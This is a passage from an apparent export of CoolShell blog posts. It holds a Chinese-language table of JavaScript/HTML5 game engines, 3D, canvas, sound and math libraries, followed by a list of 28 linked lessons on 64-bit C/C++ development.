    "content": "<html><body><p>这里有一个<a href=\"https://gist.github.com/768272\" target=\"_blank\">网址</a>收集了关于JS游戏引擎开发库的一个列表，转过来。关于使用JS和HTML5做的一些小游戏，可参见《<a href=\"https://coolshell.cn/articles/2998.html\" rel=\"bookmark\" target=\"_blank\">HTML5 小游戏展示</a>》</p>\n<h4>游戏引擎</h4>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Latest Release</th>\n<th align=\"left\">License</th>\n<th align=\"left\">Type</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://renderengine.com/\">The Render Engine</a></td>\n<td align=\"left\">1.5.3</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">跨浏览器; 大规模 API; 开源. <a href=\"http://renderengine.com/features.php\">2</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gamequery.onaluf.org/\">gameQuery</a></td>\n<td align=\"left\">0.5.1</td>\n<td align=\"left\">CC BY-SA 2.5</td>\n<td align=\"left\"></td>\n<td align=\"left\">和 jQuery 一起使用</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://game.tyler-dewitt.com/\">gTile</a></td>\n<td align=\"left\">0.0.1</td>\n<td align=\"left\"></td>\n<td align=\"left\">Tile based</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.kesiev.com/akihabara/\">Akihabara</a></td>\n<td align=\"left\">1.3</td>\n<td align=\"left\">GPL2/MIT</td>\n<td align=\"left\">Classic Repro</td>\n<td align=\"left\">基于JS+HTML5的街机风格的游戏 <a href=\"https://github.com/kesiev/akihabara\">3</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.lukewallin.co.uk/?go=engine\">The Javascript 2D Game Engine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">GPL</td>\n<td align=\"left\"></td>\n<td align=\"left\">注重于重力、物理、碰撞检测方面，使用HTML5 Canvas 和IE的ExplorerCanvas 低CPU消耗. <a href=\"http://www.lukewallin.co.uk/?go=engine\">4</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gogomakeplay.com/gmp\">The GMP Javascript Game Engine</a></td>\n<td align=\"left\">1.7.4 (2010-10-31)</td>\n<td align=\"left\">GPL2/MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">注重于数度的操作简化，”easy to learn and use” <a href=\"http://gogomakeplay.com/gmp\">5</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://craftyjs.com/\">Crafty</a></td>\n<td align=\"left\">0.1</td>\n<td align=\"left\">GPL/MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">轻量级和模块化。 <a href=\"http://craftyjs.com/\">6</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.effectgames.com/effect/\">Effect Games</a></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.propulsionjs.com/\">PropulsionJS</a></td>\n<td align=\"left\">1.1</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">使用 HTML5 Canvas. <a href=\"http://www.propulsionjs.com/\">7</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://flax.ie/category/flax-game-engine/\">Flax</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">Apache 2.0</td>\n<td align=\"left\"></td>\n<td align=\"left\">还没有released。使用 GWT 和 HTML5。关注于Linux和Mac OS上的Web游戏开发。<a href=\"http://flax.ie/about/\">8</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/giancarlo/j5g3\">j5g3</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">GPLv3</td>\n<td align=\"left\"></td>\n<td align=\"left\">还在开发过程中</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://sites.google.com/site/cssgameengine/\">cssgameengine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">用于初学者。</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-3516\"></span></p>\n<table>\n<tbody>\n<tr>\n<td align=\"left\"><a href=\"http://mccormick.cx/projects/jsGameSoup/\">jsGameSoup</a></td>\n<td align=\"left\">v74</td>\n<td align=\"left\">LGPLv3</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.sean.co.uk/a/webdesign/javascript_gamelib/javascript_gamelib.shtm\">Javascript Gamelib</a></td>\n<td align=\"left\">2.10</td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.sarien.net/source\">Sarien.net interpreter</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">GPL</td>\n<td align=\"left\">2D Adventure</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/jgen/\">jGen</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">Isometric</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.isogenicengine.com/home/\">Isogenic Engine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">Isometric</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gammajs.org/\">GammaJS</a></td>\n<td align=\"left\">1.0</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\">2.5D Platform</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.codeproject.com/KB/scripting/TomsHallsJavascriptGame.aspx\">Tom’s Halls</a></td>\n<td align=\"left\">3.0</td>\n<td align=\"left\"></td>\n<td align=\"left\">Platform</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/lostdecade/diggy\">Diggy</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td align=\"left\"></td>\n<td align=\"left\">基于 DHTML, 正在暂停中</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://impactjs.com/\">Impact</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial ($99)</td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://rocketpack.fi/engine/\">Rocket Engine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.wonderlandblog.com/wonderland/2010/04/aves-an-html-javascript-game-engine.html\">Aves</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial?</td>\n<td align=\"left\"></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/vonkow/Rosewood\">Rosewood</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/RyanWilliams/cocos2d-javascript\">Cocos2D</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gamejs.org/\">GameJS</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">MIT</td>\n<td align=\"left\">2D</td>\n<td align=\"left\">CommonJs; 可以和 RingoJs server 整合，很像 PyGame; 仅支持Canvas;</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.getxc.org/\">xc.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td align=\"left\">2D</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/vegalib/\">vegalib</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">LPGL</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://sourceforge.net/projects/clanfx/\">ClanFX</a></td>\n<td align=\"left\">0.0.1</td>\n<td align=\"left\"></td>\n<td align=\"left\">Tile based</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://canvex.lazyilluminati.com/\">Canvex</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">FPS</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/Osmose/bdge\">bdge</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"><a href=\"https://github.com/Osmose/Sub-C-Adventure\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/mcgrue/js-verge\">js-verge</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">2D</td>\n<td align=\"left\"><a href=\"http://spriteright.com/\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/BillyWM/FlixelJS\">FlixelJS</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">2D</td>\n<td align=\"left\"><a href=\"http://billy.wenge-murphy.com/flixel-js/testgame.html\">Demo</a> Port of Flixel (Flash) to JS. <a href=\"http://flixel.org/forums/index.php?topic=2859.0\">Announcement thread</a>.</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://unity3d.com/\">Unity3D</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">Commercial (free version too)</td>\n<td align=\"left\">JS backend</td>\n</tr>\n</tbody>\n</table>\n<h4>3D 引擎</h4>\n<p>相比起成熟的游戏引擎来说，这些引擎没有包括诸如AI、声音、游戏逻辑、网络等等功能，不过，你可以使用别的一些JS库来辅助完成这些功能。</p>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Latest Release</th>\n<th align=\"left\">License</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://deanm.github.com/pre3d/\">Pre3d</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"><a href=\"http://www.chromeexperiments.com/detail/monster/\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/mrdoob/three.js\">three.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">MIT</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.c3dl.org/\">C3DL</a></td>\n<td align=\"left\">2.1 (?)</td>\n<td align=\"left\">MIT</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.ambiera.com/copperlicht/\">CopperLicht</a></td>\n<td align=\"left\">1.3.2 (?)</td>\n<td align=\"left\"></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.wxs.ca/js3d/\">JS3D</a></td>\n<td align=\"left\">0.1a (2007-02-05)</td>\n<td align=\"left\">GPL</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.flashsandy.org/\">Sandy 3D</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">由Haxe编辑成 JS</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/o3d/\">O3D</a></td>\n<td align=\"left\"></td>\n<td>BSD</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.glge.org/\">GLGE</a></td>\n<td align=\"left\">0.5.2</td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://spidergl.org/\">SpiderGL</a></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<h4>碰撞检测</h4>\n<ul>\n<li><a href=\"http://code.google.com/p/box2dweb/\">http://code.google.com/p/box2dweb/</a> – 由 <a href=\"http://www.box2d.org/\">Box2D</a> 移植成 JS</li>\n</ul>\n<h4>动画</h4>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Latest Release</th>\n<th align=\"left\">License</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/batiste/sprite.js\">sprite.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\"><a href=\"https://github.com/batiste/sprite.js/blob/master/LICENSE\">VIEW</a></td>\n<td align=\"left\">Created with goal of having common JS framework for dsktop and web. <a href=\"http://www.htmlgoodies.com/daily_news/article.php/417990\">1</a></td>\n</tr>\n</tbody>\n</table>\n<h4>声音</h4>\n<ul>\n<li><a href=\"http://www.schillmania.com/projects/soundmanager2/\">SoundManager2</a></li>\n</ul>\n<h4>图形</h4>\n<h3>Canvas</h3>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Size (KB)</th>\n<th align=\"left\">License</th>\n<th align=\"left\">IE</th>\n<th align=\"left\">SVG</th>\n<th align=\"left\">Docs</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/canto-js/\">canto.js</a></td>\n<td align=\"left\">56</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/kangax/fabric.js/\">fabric.js</a></td>\n<td align=\"left\">97</td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td align=\"left\">yes</td>\n<td align=\"left\">yes</td>\n<td align=\"left\"><a href=\"http://kangax.github.com/fabric.js/test/demo/\">Demo</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/rsandor/gury/blob/master/gury.js\">gury.js</a></td>\n<td align=\"left\">10</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/cakejs/\">CAKE</a></td>\n<td align=\"left\">211</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://forvar.de/js/mcl/\">Mootools Canvas Library (MCL)</a></td>\n<td align=\"left\">8</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://canvastoolkit.codeplex.com/\">HTML5 Canvas Library</a></td>\n<td align=\"left\">12</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/layered-canvas-library/\">Layered Canvas Library (LCL)</a></td>\n<td align=\"left\">21</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/davidbrooks/Artisan\">Artisan.js</a></td>\n<td align=\"left\">17</td>\n<td align=\"left\"></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://code.google.com/p/canvg/\">canvg</a></td>\n<td align=\"left\">78.3</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td align=\"left\">no</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/F1LT3R/burst\">burst</a></td>\n<td align=\"left\">56</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">yes</td>\n<td align=\"left\">没有维护了</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://easeljs.com/\">easel.js</a></td>\n<td align=\"left\">33</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\">no</td>\n<td align=\"left\">no</td>\n<td align=\"left\">yes</td>\n<td align=\"left\">尝试像Flash的DisplayList 一样在 Canvas 上创建图形。</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://processingjs.org/\">processing.js</a></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://github.com/hapticdata/toxiclibsjs\">toxiclibsjs</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">LPGL2.1</td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\"></td>\n<td align=\"left\">和 processing.js 结合和很好</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/hyperandroid/CAAT/\">CAAT</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">MIT</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/michael/unveil\">Unveil.js</a></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"https://github.com/biilly/doodle-js\">doodle.js</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">BSD</td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p>注意，文件尺寸比较并不一定准确，因为有些lib并没有压缩过。</p>\n<ul>\n<li><a href=\"http://www.quasimondo.com/StackBlurForCanvas/StackBlurDemo.html\">Stackblur</a> – 在 Canvas 上实现模糊的效果</li>\n<li><a href=\"http://www.pixastic.com/\">Pixastic</a> – 简单的图片操作</li>\n<li><a href=\"http://raphaeljs.com/\">Raphaël</a> – 进行一些矢量图以及一些变化操作，能看<a href=\"https://coolshell.cn/articles/3107.html\" target=\"_blank\">这篇文章</a></li>\n<li><a href=\"https://github.com/meltingice/CamanJS\">CamanJS</a> – Canvas上的一些滤镜</li>\n<li><a href=\"https://github.com/millermedeiros/CanvasContext2DWrapper\">CanvasContext2DWrapper</a> – Method chaining for Canvas</li>\n</ul>\n<h3>WebGL</h3>\n<ul>\n<li><a href=\"https://github.com/onegeek/webglu\">WebGLU</a> – WebGL helpers</li>\n</ul>\n<h3>Color</h3>\n<ul>\n<li><a href=\"https://github.com/eligrey/color.js\">color.js</a> – 颜色管理工具。 MIT</li>\n</ul>\n<h4>Math</h4>\n<ul>\n<li><a href=\"http://sylvester.jcoglan.com/\">Sylvester</a> – 数组和矩阵</li>\n</ul>\n<h4>其它</h4>\n<ul>\n<li><a href=\"http://www.playmycode.com/\">PlayMyCode</a> – 在线游戏社区。使用 Quby (像Ruby) 编译成JavaScript.</li>\n<li><a href=\"http://www.spheredev.org/\">Sphere RPG Engine</a> – 为 RPG 游戏设计。使用 JavaScript</li>\n<li><a href=\"http://playtomic.com/\">playtomic</a> – Commercial service providing analytics, leaderboards etc. services for games. Provides HTML5/JS API in addition to AS2/AS3 ones.</li>\n</ul>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-21 64位平台C_C++开发注意事项.html",
    "content": "<html><body><p>在<a href=\"http://www.viva64.com/en/l/\" target=\"_blank\">http://www.viva64.com/en/l/</a>上例出了28个在64位平台上使用C/C++开发的注意事项，对于进入64位时代的程序员应该去看看这28个事项，这些英文读物对于有C/C++功底的朋友读起来应该并不难，我估计大约20-30分钟可以精读完一篇（或者更快），下面是这28个注意事项的列表。相信对大家一点有帮助。</p>\n<ul>\n<li><a href=\"http://www.viva64.com/en/l/0001/\">Lesson 01</a>. What 64-bit systems are.</li>\n<li><a href=\"http://www.viva64.com/en/l/0002/\">Lesson 02</a>. Support of 32-bit applications.</li>\n<li><a href=\"http://www.viva64.com/en/l/0003/\">Lesson 03</a>. Porting code to 64-bit systems. The pros and cons.</li>\n<li><a href=\"http://www.viva64.com/en/l/0004/\">Lesson 04</a>. Creating the 64-bit configuration.</li>\n<li><a href=\"http://www.viva64.com/en/l/0005/\">Lesson 05</a>. Building a 64-bit application.</li>\n<li><a href=\"http://www.viva64.com/en/l/0006/\">Lesson 06</a>. Errors in 64-bit code.</li>\n<li><a href=\"http://www.viva64.com/en/l/0007/\">Lesson 07</a>. The issues of detecting 64-bit errors.</li>\n<li><a href=\"http://www.viva64.com/en/l/0008/\">Lesson 08</a>. Static analysis for detecting 64-bit errors.</li>\n<li><a href=\"http://www.viva64.com/en/l/0009/\">Lesson 09</a>. Pattern 01. Magic numbers.</li>\n<li><a href=\"http://www.viva64.com/en/l/0010/\">Lesson 10</a>. Pattern 02. Functions with variable number of arguments.</li>\n<li><a href=\"http://www.viva64.com/en/l/0011/\">Lesson 11</a>. Pattern 03. Shift operations.</li>\n<li><a href=\"http://www.viva64.com/en/l/0012/\">Lesson 12</a>. Pattern 04. Virtual functions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0013/\">Lesson 13</a>. Pattern 05. Address arithmetic.</li>\n<li><a href=\"http://www.viva64.com/en/l/0014/\">Lesson 14</a>. Pattern 06. Changing an array’s type.</li>\n<li><a href=\"http://www.viva64.com/en/l/0015/\">Lesson 15</a>. Pattern 07. Pointer packing.</li>\n<li><a href=\"http://www.viva64.com/en/l/0016/\">Lesson 16</a>. Pattern 08. Memsize-types in unions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0017/\">Lesson 17</a>. Pattern 09. Mixed arithmetic.</li>\n<li><a href=\"http://www.viva64.com/en/l/0018/\">Lesson 18</a>. Pattern 10. Storage of integer values in double.</li>\n<li><a href=\"http://www.viva64.com/en/l/0019/\">Lesson 19</a>. Pattern 11. Serialization and data interchange.</li>\n<li><a href=\"http://www.viva64.com/en/l/0020/\">Lesson 20</a>. Pattern 12. Exceptions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0021/\">Lesson 21</a>. Pattern 13. Data alignment.</li>\n<li><a href=\"http://www.viva64.com/en/l/0022/\">Lesson 22</a>. Pattern 14. Overloaded functions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0023/\">Lesson 23</a>. Pattern 15. Growth of structures’ sizes.</li>\n<li><a href=\"http://www.viva64.com/en/l/0024/\">Lesson 24</a>. Phantom errors.</li>\n<li><a href=\"http://www.viva64.com/en/l/0025/\">Lesson 25</a>. Working with patterns of 64-bit errors in practice.</li>\n<li><a href=\"http://www.viva64.com/en/l/0026/\">Lesson 26</a>. Optimization of 64-bit programs.</li>\n<li><a href=\"http://www.viva64.com/en/l/0027/\">Lesson 27</a>. Peculiarities of creating installers for a 64-bit environment.</li>\n<li><a href=\"http://www.viva64.com/en/l/0028/\">Lesson 28</a>. Estimating the cost of 64-bit migration of C/C++ applications.</li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3512.html\">64位平台C/C++开发注意事项</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-23 HTML5 logo 发布.html",
